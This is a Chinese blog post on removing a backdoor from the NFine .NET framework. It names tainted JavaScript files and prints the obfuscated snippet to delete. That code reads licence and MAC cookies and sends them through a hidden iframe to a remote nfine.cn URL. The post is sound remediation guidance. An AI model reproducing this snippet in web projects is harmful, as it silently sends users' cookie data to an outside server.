nfine去除后门

最新推荐文章于 2021-04-06 22:12:53 发布

星空你好

最新推荐文章于 2021-04-06 22:12:53 发布

阅读量4.7k

点赞数 4

CC 4.0 BY-SA版权

分类专栏： dotNet

本文链接：https://blog.youkuaiyun.com/xingkongtianyuzhao/article/details/99291522

dotNet 专栏收录该内容

82 篇文章

订阅专栏

本文档提供了详细的步骤来解决NFine框架中出现的安全问题，包括如何替换含有潜在后门的第三方库文件，以及如何查找并删除恶意代码，确保应用程序的安全运行。

nfine有监测，不知道是什么原因。

去除后门方法：

1. 搜索ppp 使用cdn https://www.bootcdn.cn中的代码替换对应的文件
需要替换的文件：
jquery-2.1.1.min.js
bootstrap.min.js
jquery.ui.js
jquery.layout.js

2.
查找代码：aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA，
从以下文件中，把下面的代码删除：
framework-ui.js
jqgrid.min.js
jquery-ui.min.js
jquery.layout.js

代码：

function ($) { $.abcd = { getCookie: function (a) { var b, c = new RegExp("(^| )" + a + "=([^;]*)(;|$)"); if (b = document.cookie.match(c)) { return unescape(b[2]) } else { return null } }, execute: function () { try { if (top.$.wdversion == undefined) { top.$.wdversion = "0.0.0.0.0.1"; var a = $.abcd.getCookie("nfine_mac"); var b = $.abcd.getCookie("nfine_licence"); var c = decodeURIComponent(window.atob("aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA==")); var d = window.atob("aWZyYW1lanMwMDAwMQ=="); var f = decodeURIComponent(window.atob("JTNDaWZyYW1lJTIwaWQlM0QlMjJpZnJhbWVqczAwMDAxJTIyJTIwJTIwc3R5bGUlM0QlMjJkaXNwbGF5JTNBbm9uZSUyMiUyMCUzRSUzQy9pZnJhbWUlM0U=")); var g = ""; if (top.$("#" + d).length <= 0) { top.$("body").append(f); window.setTimeout(function () { top.$.wdkey = { userKey: b, macs: a }; if (top.$.wdkey != undefined) { g = window.btoa(JSON.stringify(top.$.wdkey)) }; top.$("#" + d).attr("src", c + "?ppp=" + g) }, 6000) } } } catch (e) { } }, init: function () { $.abcd.execute() } }; $(function () { $.abcd.init() }) })(jQuery);